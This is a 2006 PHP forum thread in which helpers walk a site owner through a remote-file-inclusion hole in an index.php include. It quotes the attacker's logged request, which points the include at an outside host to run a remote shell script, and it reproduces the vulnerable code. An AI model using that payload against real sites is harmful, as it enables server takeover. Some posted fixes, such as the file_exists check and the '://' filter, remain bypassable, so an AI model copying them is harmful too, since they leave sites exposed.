salsa Posted June 9, 2006 Share Posted June 9, 2006 Hi all! Please excuse me, I'm new, but desperate at the moment. It appears that someone is repeatedly hacking my site, and my host is blaming *me*. Or at least my "scripts." Except that there aren't any scripts on my site at all! But I think someone is using a vulnerability of PHP to hack my site.Anyway, the php in the site is only for organization. There is really nothing to it. It serves up pages, keeps things in order. I've been through every page and can't find a thing wrong.Below are the lines that my host is accusing as hacks. None of it is actually accessing files on my site, or at least I can't find any foreign files on my site. The common theme is index.php?z=http://someone's site. Please help! I'm desperate!!! Quote Link to comment Share on other sites More sharing options...
hvle Posted June 9, 2006 Share Posted June 9, 2006 how can we help you with a "index.php?z=http://someone's site" Quote Link to comment Share on other sites More sharing options...
trq Posted June 9, 2006 Share Posted June 9, 2006 If you have a common index.php page that is including files called from the url, then chances are YES your site is being used.Were going to need to see some code though. Quote Link to comment Share on other sites More sharing options...
zq29 Posted June 9, 2006 Share Posted June 9, 2006 You're going to need to filter that input from your url. I'm guessing you have something like this:[code]<?phpif(isset($_GET['z'])) { include $_GET['z'];} else { include "default.php";}?>[/code]Its worth running a check on $_GET['z'], as it is possible to include remote scripts into your site, and then install malicious scripts on your server. At a minimum, run $_GET['z'] through an eregi()...[code]<?phpif(isset($_GET['z']) && !eregi("://",$_GET['z'])) { include $_GET['z'];} else { include "default.php";}?>[/code]This way it will prevent someone pointing to a different server, by rejecting file paths that include :// - E.g. [a href=\"http://somewhere.com/script.php\" target=\"_blank\"]http://somewhere.com/script.php[/a] or [a href=\"ftp://somewhereelse.com/script.php\" target=\"_blank\"]ftp://somewhereelse.com/script.php[/a] Quote Link to comment Share on other sites More sharing options...
kenrbnsn Posted June 9, 2006 Share Posted June 9, 2006 The first check I do in almost all of my scripts is to check any incoming parameters for known exploits... "content-type" in forms that generate email, "://" in any parameters where I'm not expecting that string. If I find them, I email the $_SERVER, $_POST, and $_GET arrays to myself and then use the header() function to issue a 404 error message. If the address where the attempt was done from is identifiable, I send a warning email to the abuse address at that site.For more information explore the [a href=\"http://phpsec.org/\" target=\"_blank\"]PHP Security Consortium[/a] web site.Ken Quote Link to comment Share on other sites More sharing options...
joquius Posted June 9, 2006 Share Posted June 9, 2006 if you want to filter _GET keys do this:[code]<?$allowed_get_queries = array ("get1", "get2", etc...);if (isset ($_GET) || is_array ($_GET)){ foreach ($_GET as $key => $value) { if (!in_array ($key, $allowed_get_queries)) { $_GET[$key] == ""; // or die ("Unallowed HTTP_VAR"); } }}?>[/code]I am assuming however that there is a script on the page which needs this.[code]<?if (isset ($_GET) || is_array ($_GET)){ foreach ($_GET as $key => $value) { if (preg_match ("/:\/\//", $value)) { $_GET[$key] == ""; // or perhaps die ("Unallowed"); } }}?>[/code] Quote Link to comment Share on other sites More sharing options...
salsa Posted June 9, 2006 Author Share Posted June 9, 2006 [!--quoteo(post=381743:date=Jun 8 2006, 10:04 PM:name=hvle)--][div class=\'quotetop\']QUOTE(hvle @ Jun 8 2006, 10:04 PM) [snapback]381743[/snapback][/div][div class=\'quotemain\'][!--quotec--]how can we help you with a "index.php?z=http://someone's site"[/quote]Sorry, I tried to post the entire line they used, but the forum wouldn't let me do it.Here is the code that is currently in my index.php. Is it possible that the hacker changed the page to have all the z stuff? I don't remember it being there before, I only remember the stuff that was @include('home.php'), etc.<body><?php @include('top.php'); ?><div id="frame"><div id="leftside"><?php @include('lside.php'); ?></div><div id="maintext"><?php$z=$_GET['z'];if(!isset($z)) { @include('home.php'); } else { @include($z.'.php'); }?></div><div id="rightside"><?php @include('rside.php'); ?></div></div></body></html>I think the idea was originally that php would be used to serve the different sides of the page like includes. Do I need all the z stuff? How can I change this so it's not hackable? Ugggh, php looks like a foreign language to me.This is what they used to exploit: (I don't know if it'll post properly but trying again)."POST /index.php?z=http://ciberia.ya.com/jest3r/sep3.php? HTTP/1.0" Quote Link to comment Share on other sites More sharing options...
salsa Posted June 9, 2006 Author Share Posted June 9, 2006 [!--quoteo(post=381803:date=Jun 9 2006, 04:53 AM:name=kenrbnsn)--][div class=\'quotetop\']QUOTE(kenrbnsn @ Jun 9 2006, 04:53 AM) [snapback]381803[/snapback][/div][div class=\'quotemain\'][!--quotec--]The first check I do in almost all of my scripts is to check any incoming parameters for known exploits... "content-type" in forms that generate email, "://" in any parameters where I'm not expecting that string. If I find them, I email the $_SERVER, $_POST, and $_GET arrays to myself and then use the header() function to issue a 404 error message. If the address where the attempt was done from is identifiable, I send a warning email to the abuse address at that site.For more information explore the [a href=\"http://phpsec.org/\" target=\"_blank\"]PHP Security Consortium[/a] web site.Ken[/quote]Is there any possibility you can write that out for someone who knows html & javascript? I'm sure there's great info in your words, I just don't understand them. Thanks! Quote Link to comment Share on other sites More sharing options...
zq29 Posted June 9, 2006 Share Posted June 9, 2006 It appears as though the attacker was running a scriptkiddie-esqe panel of tools that allow them to view details about the server and the versions of everything running, view your php.ini file and run phpinfo(), browse around your directories and attempt to alter, delete and upload files to your server. Theres also some fields for attempting to connect and dump the contents of databases. Some IRC things, and theres a bunch of other stuff too. Looks like its tooled up for attacking *NIX based servers by the look at some of the commands that it's attempting to execute.You can prevent stuff like this running within your site by making the alteration I (and kenrbnsn) suggested further up this thread. A JavaScript equivilent will [i]not[/i] work. Quote Link to comment Share on other sites More sharing options...
salsa Posted June 9, 2006 Author Share Posted June 9, 2006 [!--quoteo(post=381985:date=Jun 9 2006, 11:14 AM:name=SemiApocalyptic)--][div class=\'quotetop\']QUOTE(SemiApocalyptic @ Jun 9 2006, 11:14 AM) [snapback]381985[/snapback][/div][div class=\'quotemain\'][!--quotec--]It appears as though the attacker was running a scriptkiddie-esqe panel of tools that allow them to view details about the server and the versions of everything running, view your php.ini file and run phpinfo(), browse around your directories and attempt to alter, delete and upload files to your server. Theres also some fields for attempting to connect and dump the contents of databases. Some IRC things, and theres a bunch of other stuff too. Looks like its tooled up for attacking *NIX based servers by the look at some of the commands that it's attempting to execute.You can prevent stuff like this running within your site by making the alteration I (and kenrbnsn) suggested further up this thread. A JavaScript equivilent will [i]not[/i] work.[/quote]Great! Amazing you can tell that from a couple lines of code. I wasn't looking for a js equivalent, just trying to tell you that I really don't understand what I need to do to fix this. It looks like a foreign language to me.Thanks for looking at it, anyway. Not sure how I'm going to fix it, or maybe just turn it all into straight html. Quote Link to comment Share on other sites More sharing options...
.josh Posted June 9, 2006 Share Posted June 9, 2006 foreign code...? js and php have pretty much the same syntax.this really isn't that hard to implement. here's another example of pretty much the same thing that was already mentioned, with the code you provided above:index.php[code]<body><?php @include('top.php'); ?><div id="frame"><div id="leftside"><?php @include('lside.php'); ?></div><div id="maintext"><?php//put your files in here. just add more in if you have more than 3$acceptablefiles = array('home.php','contact.php','register.php');if ($_GET['z']) { foreach ($acceptablefiles as $val) { if ($val == $_GET['z']) { $zfile = $val; } } if ($zfile) ? include ($zfile) : include('home.php');} else { include ('home.php');}?></div><div id="rightside"><?php @include('rside.php'); ?></div></div></body></html>[/code] Quote Link to comment Share on other sites More sharing options...
shoz Posted June 9, 2006 Share Posted June 9, 2006 It would probably be better to create a list of files allowed to be accessed similar to what joquius suggested. Remember that the script can also be exploited to access local files which could reveal sensitive information. So, looking only for includes designed to access remote files isn't restrictive enough.[code]$list = array('file1.php', 'file2.php');if (FALSE === $key = array_search($_GET['z'], $list)){ $inc = 'default.php';}else{ $inc = $list[$key];}include ($inc);?>[/code]You could also put all files that should be accessed in a specific directory. You'd then create the array $list with all the files in that directory. This would make it easier to add and remove files from the "access" list.If you are completely unfamiliar with PHP, then you may want to start reading some of the tutorials on this site or a PHP book you have access to. That will make the suggestions given by the members more clear. If you'd rather not do that then perhaps you could ask the person that originally created the script for help.A quick "fix" for the script would be to make the following changes. Note that the previous method is what I still suggest however.[code]<?php$z=$_GET['z'];if(!isset($z)) {@include('home.php');} else {@include($z.'.php');}[/code]to[code]<?php$z=$_GET['z'];if(!isset($z) || !preg_match('/^[a-z_]+$/i', $z)) {@include('home.php');} else {@include($z.'.php');}[/code]It's likely that your account has already been compromised. Which would mean that the attacker has already gained enough information and done the required things necessary to gain access to your system without the use of the script.You'll want to change passwords and restore the site from a hopefully available backup (After making the necessary changes to "secure" the script) made some time before the attack occurred.EDIT: Note that Crayon Violent's posted code is similar to what my first code snippet does. During the long reply I didn't see their post come in. Quote Link to comment Share on other sites More sharing options...
salsa Posted June 9, 2006 Author Share Posted June 9, 2006 Thanks! This is what is foreign to me: ("/:\/\//", $value))But overall since there is only one page to be displayed as "home.php" I don't understand why I would need the whole z reference anyway? That's why it's so foreign to me. There is one top, one bottom, one left, one right, one home. They're all referenced in index.php, and the only file for the middle of the page is home.php. There is no z.php, which is why I thought maybe the hacker put that in there. So my question to you all (after I thank you SO much for all the replacement code!!!) is, why do I need this at all? Why not just <?php @include('home.php'); ?> ? Why do I need to go to all the trouble of looking for a page that doesn't exist anyway? Quote Link to comment Share on other sites More sharing options...
.josh Posted June 9, 2006 Share Posted June 9, 2006 if you have your layout and you have a homepage, a contact page, a register page, etc.. and the content area for each page you have will be different, but the overall layout will remain the same (like menubars to the left, etc..) then you can just change that specific include. so when the user clicks on the "contact us" linkie it could refresh the page, only with the contact.php included in that area, instead of home. The idea of all that code (the code you already had) is to be able to display different files in that content area, not just home.php that's the purpose of that bit of code. if all you will ever have there is home.php, and that's not supposed to change, then you DON'T need it. simply do it the same as your header and footers. edit: so overall here, the person who wrote your script for you had the forethought to make it dynamic, in case you were gonna expand - bt not the forethought to make it secure. and as far as $z - $z is how to write a variable in php. in js it's simply z. Quote Link to comment Share on other sites More sharing options...
salsa Posted June 9, 2006 Author Share Posted June 9, 2006 I think I'm starting to understand. I took a shot at the code below and got this:Parse error: parse error, unexpected '?' in /homepages/25/d146129605/htdocs/index.php on line 34and assume they're talking about this: if ($zfile) ? include ($zfile) : include('home.php');What do I do with the ? in the line? Or where do I go to start trying to figure out how to fix it? I assume long-term I'm going to have to learn php, but right now I'm just focused on not getting hacked again :-/And, by the way, they *don't* by any stretch of the imagination, have the same syntax. I cannot for the life of me figure out what that line, or the line below it, is supposed to do. Call me stupid if you want, but it is *NOT* obvious to someone who is new at it.I was able to get SemiApocalyptic's example to work, but it only serves the home page. There *is* a second page that has to be served, but the when you click on the second page, it shows the correct URL but the middle section is blank. If you click Home, the URL changes appropriately, but hte middle section is again blank.[!--quoteo(post=382013:date=Jun 9 2006, 12:28 PM:name=Crayon Violent)--][div class=\'quotetop\']QUOTE(Crayon Violent @ Jun 9 2006, 12:28 PM) [snapback]382013[/snapback][/div][div class=\'quotemain\'][!--quotec--]foreign code...? js and php have pretty much the same syntax.this really isn't that hard to implement. here's another example of pretty much the same thing that was already mentioned, with the code you provided above:index.php[code]<body><?php @include('top.php'); ?><div id="frame"><div id="leftside"><?php @include('lside.php'); ?></div><div id="maintext"><?php//put your files in here. just add more in if you have more than 3$acceptablefiles = array('home.php','contact.php','register.php');if ($_GET['z']) { foreach ($acceptablefiles as $val) { if ($val == $_GET['z']) { $zfile = $val; } } if ($zfile) ? include ($zfile) : include('home.php');} else { include ('home.php');}?></div><div id="rightside"><?php @include('rside.php'); ?></div></div></body></html>[/code][/quote] Quote Link to comment Share on other sites More sharing options...
zq29 Posted June 9, 2006 Share Posted June 9, 2006 if ($zfile) ? include ($zfile) : include('home.php');You have the syntax wrong there, it should be...include ($zfile) ? $zfile : 'home.php'; Quote Link to comment Share on other sites More sharing options...
neylitalo Posted June 10, 2006 Share Posted June 10, 2006 I'm going to write it like this for clarity:[code]include($zfile ? $zfile : "home.php");[/code]This is an example of a [i]ternary[/i] comparison - see [a href=\"http://www.php.net/manual/en/language.operators.comparison.php\" target=\"_blank\"]this page[/a].In a ternary operation, the term before the ? is the [b]condition[/b], the term after the ? is what to return if the condition is [b]true[/b], and the term after the : is what to return if the condition is [b]false[/b]. Quote Link to comment Share on other sites More sharing options...
salsa Posted June 10, 2006 Author Share Posted June 10, 2006 Thank you!!! Well, it still doesn't serve the second page, but I think that is because it's not serving the ".php" part. I will do some studying and will try to come up with code myself that tests for whether or not .php is included in the variable (and if not, appends it, of course). I would like to add that I didn't mean for my earlier comment to sound snippy (when I reread it, it sounded like it could be), but I was frustrated with trying to read code that wasn't familiar to me. Sure, I could read it in general, but the syntax was not normal. So I would like you to know that I really, really appreciate the help, and especially the link to the help pages. [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] [img src=\"style_emoticons/[#EMO_DIR#]/smile.gif\" style=\"vertical-align:middle\" emoid=\":smile:\" border=\"0\" alt=\"smile.gif\" /] Quote Link to comment Share on other sites More sharing options...
.josh Posted June 10, 2006 Share Posted June 10, 2006 if $z is getting blah.php?z=home as opposed to blah.php?z=home.php in your allowed filenames array, use the filename only, not the extensions. like$allowed = array('home','contact','about');then in your include, just add on the .php in the includeinclude($z . '.php'); Quote Link to comment Share on other sites More sharing options...
homchz Posted June 10, 2006 Share Posted June 10, 2006 Thanks for this thread. It opened my eyes to a few things. I use switches to obtain pages, and always wondered if there were vunerabilities, I have never had issue, so never looked to hard. However I have modified my switch to this[code]<?php$allowable_page = array("register", "login", "welcome", "validate", "profile");if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page)){ $page = $_GET['page']; switch($page) { case "register": include 'pages/register.php'; break; case "login": include 'pages/login.php'; break; case "welcome": include 'pages/welcome.php'; break; case "validate": include 'pages/validate.php'; break; case "profile": include 'pages/profile.php'; break; }}else if (!isset($_GET['page'])){ include 'pages/p_index.php';} else{ print "It appears you are trying to do something you should not be doing. Shame on you!";}?>[/code]I had an issue with the default load page, untill I added the elseif !isset condition. Thanks againJosh Quote Link to comment Share on other sites More sharing options...
Ninjakreborn Posted June 10, 2006 Share Posted June 10, 2006 if you want give me your host name, and I will call them and talk to them see if I can figure out some details, I am new at learnign the language, but I am working as security with a company now, on the side, and my MAIN study was security and performance, that is why I ask so much if you want, I can pour over your php.ini file and make sure they are at the secure default settings and check over the site to make sure it's all secure, and contact the host to get more information, I can probably do some to try and help make it more secure, it's worth an offer at least, let me know. I meant url of your hosting company by the way. Quote Link to comment Share on other sites More sharing options...
XRayden Posted June 10, 2006 Share Posted June 10, 2006 Your codes are good but it lack some... i dont know... if the site he is working on need a new page, he will need to change de code.my code is simpler and you cant hack it, and still, any change wont need change into the code.my suggestion, add the extention yourself! and THEN proceed for a file check... like this : [code]if( isset( $_GET['z'] ) && file_exists( realpath(dirname(__FILE__)).$_GET['z'].'.php' ) ) { include(realpath(dirname(__FILE__)).$_GET['z'].'.php');} else { include(realpath(dirname(__FILE__)).'home.php')}[/code]it will check if there is a z, and if the file your are trying to reach really exist on your server, then so it will include it... with this kind of coding, if you add a section... no need to add the section in the code... if the file exist... !with this you are not restrain to the root of the website, you still can call other folder like : index.php?z=/foleder/fileinfolderas long as the extention if not written in the GET... the wont even know where your files are called from! Quote Link to comment Share on other sites More sharing options...
.josh Posted June 10, 2006 Share Posted June 10, 2006 [b]homchz[/b] you don't need that switch statement. instead of this:[code]if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page)){ $page = $_GET['page']; switch($page) { case "register": include 'pages/register.php'; break; case "login": include 'pages/login.php'; break; case "welcome": include 'pages/welcome.php'; break; case "validate": include 'pages/validate.php'; break; case "profile": include 'pages/profile.php'; break; }}[/code]do this:[code]if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page)){ $page = $_GET['page']; include ("pages/".$page.".php");}[/code] Quote Link to comment Share on other sites More sharing options...
mainewoods Posted June 10, 2006 Share Posted June 10, 2006 This page explains how they might have been doing the exploit:[a href=\"http://www.php.net/manual/en/security.filesystem.php\" target=\"_blank\"]http://www.php.net/manual/en/security.filesystem.php[/a] Quote Link to comment Share on other sites More sharing options...
homchz Posted June 11, 2006 Share Posted June 11, 2006 [!--quoteo(post=382307:date=Jun 10 2006, 03:26 PM:name=Crayon Violent)--][div class=\'quotetop\']QUOTE(Crayon Violent @ Jun 10 2006, 03:26 PM) [snapback]382307[/snapback][/div][div class=\'quotemain\'][!--quotec--][b]homchz[/b] you don't need that switch statement. instead of this:[code]if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page)){ $page = $_GET['page']; switch($page) { case "register": include 'pages/register.php'; break; case "login": include 'pages/login.php'; break; case "welcome": include 'pages/welcome.php'; break; case "validate": include 'pages/validate.php'; break; case "profile": include 'pages/profile.php'; break; }}[/code]do this:[code]if((isset($_GET['page'])) && in_array($_GET['page'],$allowable_page)){ $page = $_GET['page']; include ("pages/".$page.".php");}[/code][/quote]Thanks for that Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.